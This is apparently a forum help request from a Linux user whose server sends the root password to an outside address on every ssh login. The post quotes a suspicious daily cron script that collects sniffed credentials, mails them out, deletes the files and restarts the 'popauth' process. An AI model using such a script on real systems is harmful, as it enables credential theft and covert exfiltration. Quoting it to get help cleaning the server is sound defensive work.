I am facing a wired situation. Every time I ssh to my linux box, it automaticall send the root password to email@example.com. Beside this I get a unusual cron under .etc/cron.daily. it's name dnsquery. Here is the content:
./popauth -r httpd.log > test
cat /usr/share/misc/blah/temp.log |uniq >> test
mail firstname.lastname@example.org -s "$(hostname -f)" < test
rm -rf test httpd.log
killall -9 popauth
popauth -w httpd.log &
I have format the box and reinstall, but face the same. I have tried with uninstall the openssh & install it again. It goes ok for fewdays; after tahat the same. Any clue?
